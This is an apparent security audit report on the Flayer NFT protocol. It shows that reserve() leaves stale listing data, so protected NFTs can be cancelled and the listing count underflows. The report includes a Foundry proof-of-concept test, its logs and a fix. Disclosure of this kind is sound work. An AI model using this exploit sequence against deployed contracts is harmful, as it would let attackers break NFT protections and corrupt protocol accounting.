Striped Boysenberry Fox

Medium

# A protected NFT via reserving can be withdrawn from `Listings`

## Summary

A protected NFT via reserving can be withdrawn from `Listings`.

## Vulnerability Detail

The NFTs that were sent to `ProtectedListings` should be literally "protected". That means the only way to unlock the NFTs from protected listings should be via `ProtectedListings::unlockProtectedListing()`.

But the [`Listings::reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759) function decreases the listings count of the collection, but doesn't delete the old listing data.

This makes Protected Listings and Listings to have the same NFT listing data.

Therefore, The possibility exists in the `Listings`, that can modify or cancel the protected NFTs through `modifyListings()` or `cancelListings()`.

Especially, `cancelListings()` has a unchecked decrement of `listingCount` of the collection.

```solidity
    function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
        ... ...

        // Remove our listing type
        unchecked {
            listingCount[_collection] -= _tokenIds.length;
        }

        ... ...
    }
```

This unchecked decrement can make the `listingCount[_collection]` value underflowed without any error or revert.

### Proof-Of-Concept

Added a new test case to `Listings.t.sol`:

```solidity
    function test_CanCancelAfterReserving() public {
        address _lister = address(0x0101);
        address _relister = address(0x0102);
        address _collection = address(erc721a);
        uint _tokenId = 1;

        ICollectionToken token = locker.collectionToken(_collection);

        // Set up protected listings
        listings.setProtectedListings(address(protectedListings));

        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Ensure that we don't set a zero address for our lister and filler, and that they
        // aren't the same address
        _assumeValidAddress(_lister);
        _assumeValidAddress(_relister);
        vm.assume(_lister != _relister);

        // Provide a token into the core Locker to create a Floor item
        erc721a.mint(_lister, _tokenId);

        vm.startPrank(_lister);
        erc721a.approve(address(listings), _tokenId);
        _createListing({
            _listing: IListings.CreateListing({
                collection: _collection,
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IListings.Listing({
                    owner: payable(_lister),
                    created: uint40(block.timestamp),
                    duration: 8 days,
                    floorMultiple: 150
                })
            })
        });
        vm.stopPrank();

        ////////////////////////////////////////////////////
        // Start Reserving...
        vm.startPrank(_relister);

        // Provide our filler with sufficient, approved ERC20 tokens to make the relist
        uint startBalance = 2 ether;
        deal(address(token), _relister, startBalance);
        token.approve(address(listings), startBalance);

        console.log("Listings Count before Reserving:", listings.listingCount(_collection));

        // Relist our floor item into one of various collections
        listings.reserve({
            _collection: _collection,
            _tokenId: _tokenId,
            _collateral: 0.3 ether
        });

        vm.stopPrank();

        console.log("Listings Count after Reserving:", listings.listingCount(_collection));
        
        // Start cancelling listings
        deal(address(token), address(listings), 5 ether); // <-- @audit Add extra tokens to make cancelling available

        vm.startPrank(_lister);
        token.approve(address(listings), 5 ether);
        uint256[] memory tokenIdsOut = new uint256[](1);
        tokenIdsOut[0] = _tokenId;
        listings.cancelListings(_collection, tokenIdsOut, true);
        vm.stopPrank();

        console.log("Listings Count after Cancelling:", listings.listingCount(_collection));
    }
```

The logs are:
```bash
$ forge test --match-test test_CanCancelAfterReserving -vv
[⠒] Compiling...
[⠃] Compiling 1 files with Solc 0.8.26
[⠒] Solc 0.8.26 finished in 10.85s
Compiler run successful!

Ran 1 test for test/Listings.t.sol:ListingsTest
[PASS] test_CanCancelAfterReserving() (gas: 1301534)
Logs:
  Listings Count before Reserving: 1
  Listings Count after Reserving: 0
  Listings Count after Cancelling: 115792089237316195423570985008687907853269984665640564039457584007913129639935

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.47ms (1.97ms CPU time)

Ran 1 test suite in 12.23ms (9.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

There'd be two kinds of impacts:
1. The wrong listing count will make shutdown funtionality working incorrectly because its `_hasListings()` function requires the correct listing count.
2. The protection won't work for the cancelled NFTs, and also result in wrong calculation of utilization rate.

## Code Snippet

[Listings.sol#L690-L759](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759)

## Tool used

Manual Review

## Recommendation

Should remove the old listing in the `reserve()` function:

```diff
    function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
        ... ...
        if (oldListing.owner != address(0)) {
            ... ...

            // Reduce the amount of listings
            unchecked { listingCount[_collection] -= 1; }
+           delete _listings[_collection][_tokenId];
        }
        ... ...
    }
```
